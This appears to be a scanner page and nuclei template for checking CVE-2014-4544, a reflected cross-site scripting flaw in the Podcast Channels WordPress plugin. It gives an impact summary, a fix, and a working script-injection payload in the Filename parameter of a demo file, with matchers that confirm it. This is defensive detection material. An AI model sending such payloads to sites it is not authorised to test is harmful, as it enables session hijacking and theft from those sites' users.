Podcast Channels < 0.28 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the Podcast Channels plugin (0.28 or higher) to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4544 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-4544

info:
  name: Podcast Channels < 0.28 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Podcast Channels plugin (0.28 or higher) to fix this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/72a5a0e1-e720-45a9-b9d4-ee3144939abb
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4544
    - http://codevigilant.com/disclosure/wp-plugin-podcast-channels-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4544
    cwe-id: CWE-79
    epss-score: 0.03779
    epss-percentile: 0.9004
    cpe: cpe:2.3:a:podcast_channels_project:podcast_channels:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: podcast_channels_project
    product: podcast_channels
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,unauth,podcast_channels_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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